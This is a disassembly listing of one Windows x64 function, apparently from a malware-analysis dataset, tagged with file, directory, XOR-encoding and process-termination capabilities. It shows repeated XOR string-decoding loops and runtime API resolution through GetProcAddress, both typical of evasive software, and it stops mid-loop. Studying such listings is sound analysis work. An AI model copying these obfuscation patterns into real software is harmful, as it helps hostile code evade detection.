Function at 0x14003fcf0
Capabilities:
Create directory
Delete file
Encode data using xor
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x568]
sub rsp, 0x640
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x1400f0010]
xor rax, rsp
mov qword [rbp + 0x500], rax
mov r14, rdx
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
lea edx, [rbx + 0xf]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
movups xmm0, xmmword [0x1400d9598]
movups xmmword [rbp + 0x390], xmm0
mov eax, dword [0x1400d95a8]
mov dword [rbp + 0x3a0], eax
movzx eax, word [0x1400d95ac]
mov word [rbp + 0x3a4], ax
movzx eax, byte [0x1400d95ae]
mov byte [rbp + 0x3a6], al
mov r8d, ebx
lea r12d, [rbx + 4]
lea r13d, [rbx + 0x1f]
mov esi, dword [0x1400f0018]
cmp esi, 2
jl 0x14003fee7
movdqa xmm5, xmmword [0x1400e2800]
movdqa xmm4, xmmword [0x1400e2c70]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400e2830]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1400e2900]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x394]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14003fde0
cmp r8d, 0x17
jge 0x14003ff30
movsxd rax, r8d
lea r9, [rbp + 0x390]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x14003ff00
movups xmm0, xmmword [0x1400db378]
movups xmmword [rbp - 0x80], xmm0
mov eax, dword [0x1400db388]
mov dword [rbp - 0x70], eax
cmp word [0x1400db38a], bx
je 0x14003ff83
mov eax, WSAGetLastError
mov word [rbp - 0x80], ax
xor word [rbp - 0x7e], 0x31
xor word [rbp - 0x7c], 0x32
xor word [rbp - 0x7a], 0x33
xor word [rbp - 0x78], 0x34
xor word [rbp - 0x76], 0x35
xor word [rbp - 0x74], 0x36
xor word [rbp - 0x72], 0x37
xor word [rbp - 0x70], 0x38
xor word [rbp - 0x6e], 0x39
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [rbp + 0x390]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov dword [rbp + 0x3cc], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov r9d, r12d
lea r8, [rbp + 0x3cc]
mov edx, reloc.WS2_32.dll_select
call rdi
mov r10d, eax
test eax, eax
jns 0x140040183
lea rdx, [rbp + 0x288]
call fcn.1400440e0
mov r9, rax
cmp byte [rax + 0x33], bl
je 0x14004016c
cmp esi, 2
jl 0x140040134
movdqa xmm5, xmmword [0x1400e2800]
movdqa xmm4, xmmword [0x1400e2c70]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400e2830]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1400e2900]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x30
jl 0x140040030
cmp eax, 0x34
jge 0x14004016c
movsxd r8, ebx
add r8, r9
nop word [rax + rax]
mov eax, 0x4d4873ed
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, bl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x34
jl 0x140040140
mov edx, r10d
mov rcx, r9
call fcn.140001860
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea r15, [0x1400f19e0]
nop word [rax + rax]
cmp byte [0x1400f19c1], 1
jne 0x140043fc5
movups xmm0, xmmword [str.s_vncFZQEYTZH_bk_56E]
movups xmmword [rbp + 0x390], xmm0
mov eax, dword [0x1400d9290]
mov dword [rbp + 0x3a0], eax
movzx eax, word [0x1400d9294]
mov word [rbp + 0x3a4], ax
cmp byte [0x1400d9295], 0
je 0x140040370
mov r8d, ebx
cmp esi, 2
jl 0x140040327
movdqa xmm5, xmmword [0x1400e2800]
movdqa xmm4, xmmword [0x1400e2c70]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400e2830]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1400e2900]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x394]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140040220
cmp r8d, 0x16
jge 0x140040370
movsxd rax, r8d
lea r9, [rbp + 0x390]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140040340
lea rcx, [rbp + 0x390]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx edi, word [rbp + 0x3e8]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x3f0]
call main
movups xmm0, xmmword [str.s_vncFZQEYTZH_bl511__5_f2_L]
movups xmmword [rbp + 0x390], xmm0
movsd xmm1, qword [0x1400db1f0]
movsd qword [rbp + 0x3a0], xmm1
mov eax, dword [0x1400db1f8]
mov dword [rbp + 0x3a8], eax
movzx eax, byte [0x1400db1fc]
mov byte [rbp + 0x3ac], al
mov r8d, ebx
cmp esi, 2
jl 0x140040537
movdqa xmm5, xmmword [0x1400e2800]
movdqa xmm4, xmmword [0x1400e2c70]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400e2830]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1400e2900]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x394]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140040430
cmp r8d, 0x1d
jge 0x140040580
movsxd rax, r8d
lea r9, [rbp + 0x390]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140040550
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x3f0]
call fcn.14004ef70
nop
mov edx, edi
lea rcx, [rbp + 0x3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rcx, [rbp + 0x3f8]
call fcn.140050e50
test rax, rax
jne 0x1400405e8
mov rax, qword [rbp + 0x3f0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x3f0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov r8d, 0x1f50
lea rdx, [0x1400da2a8]
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [0x1400db308]
movups xmmword [rbp + 0x28], xmm0
movsd xmm1, qword [0x1400db318]
movsd qword [rbp + 0x38], xmm1
mov eax, dword [0x1400db320]
mov dword [rbp + 0x40], eax
movzx eax, word [0x1400db324]
mov word [rbp + 0x44], ax
movzx eax, byte [str.Ny_DRXR]
mov byte [rbp + 0x46], al
mov r8d, ebx
cmp esi, 2
jl 0x140040787
movdqa xmm5, xmmword [0x1400e2800]
movdqa xmm4, xmmword [0x1400e2c70]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400e2830]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1400e2900]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x2c]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140040680
cmp r8d, 0x1f
jge 0x1400407d0
movsxd rax, r8d
lea r9, [rbp + 0x28]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x1400407a0
lea rcx, [r15 - 1]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400407d4
lea r8, [rbp + 0x28]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1400407f0
movups xmm0, xmmword [0x1400d9238]
movups xmmword [rbp + 0x68], xmm0
movsd xmm1, qword [0x1400d9248]
movsd qword [rbp + 0x78], xmm1
mov eax, dword [0x1400d9250]
mov dword [rbp + 0x80], eax
movzx eax, word [0x1400d9254]
mov word [rbp + 0x84], ax
cmp byte [0x1400d9255], 0
je 0x1400409e0
mov r8d, ebx
cmp esi, 2
jl 0x140040997
movdqa xmm5, xmmword [0x1400e2800]
movdqa xmm4, xmmword [0x1400e2c70]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400e2830]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1400e2900]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x6c]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140040890
cmp r8d, 0x1e
jge 0x1400409e0
movsxd rax, r8d
lea r9, [rbp + 0x68]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x1400409b0
lea rcx, [r15 - 1]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400409e4
lea r8, [rbp + 0x68]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140040a00
movups xmm0, xmmword [0x1400d9648]
movups xmmword [rbp + 0x1d0], xmm0
movups xmm1, xmmword [str.mlonihkjedgfa_cb]
movups xmmword [rbp + 0x1e0], xmm1
movups xmm0, xmmword [0x1400d9668]
movups xmmword [rbp + 0x1f0], xmm0
movsd xmm1, qword [0x1400d9678]
movsd qword [rbp + 0x200], xmm1
cmp esi, 2
jl 0x140040b92
movdqa xmm5, xmmword [0x1400e2800]
mov edx, ebx
movdqa xmm4, xmmword [0x1400e2c70]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400e2830]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1400e2900]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x1d4]
mov r8d, dword [rsp + 0x50]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140040a91
jmp 0x140040bd0
lea r9, [rbp + 0x1d0]
mov r8d, ebx
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140040ba0
lea rcx, [r15 - 1]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140040bd4
lea r8, [rbp + 0x1d0]
xor edx, edx
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140040bf0
movups xmm0, xmmword [0x1400db7a0]
movups xmmword [rbp + 0xe8], xmm0
movsd xmm1, qword [0x1400db7b0]
movsd qword [rbp + 0xf8], xmm1
mov eax, dword [str._a_adK]
mov dword [rbp + 0x100], eax
cmp byte [0x1400db7bb], 0
je 0x140040dd0
mov r8d, ebx
cmp esi, 2
jl 0x140040d87
movdqa xmm5, xmmword [0x1400e2800]
movdqa xmm4, xmmword [0x1400e2c70]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400e2830]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1400e2900]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xec]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140040c80
cmp r8d, 0x1c
jge 0x140040dd0
movsxd rax, r8d
lea r9, [rbp + 0xe8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140040da0
lea rcx, [r15 - 1]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140040dd4
lea r8, [rbp + 0xe8]
xor edx, edx
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140040df0
movups xmm0, xmmword [0x1400d9648]
movups xmmword [rbp + 0x208], xmm0
movups xmm1, xmmword [str.mlonihkjedgfa_cb]
movups xmmword [rbp + 0x218], xmm1
movups xmm0, xmmword [0x1400d9668]
movups xmmword [rbp + 0x228], xmm0
movsd xmm1, qword [0x1400d9678]
movsd qword [rbp + 0x238], xmm1
cmp esi, 2
jl 0x140040f82
movdqa xmm5, xmmword [0x1400e2800]
mov edx, ebx
movdqa xmm4, xmmword [0x1400e2c70]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400e2830]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1400e2900]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x20c]
mov r8d, dword [rsp + 0x50]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
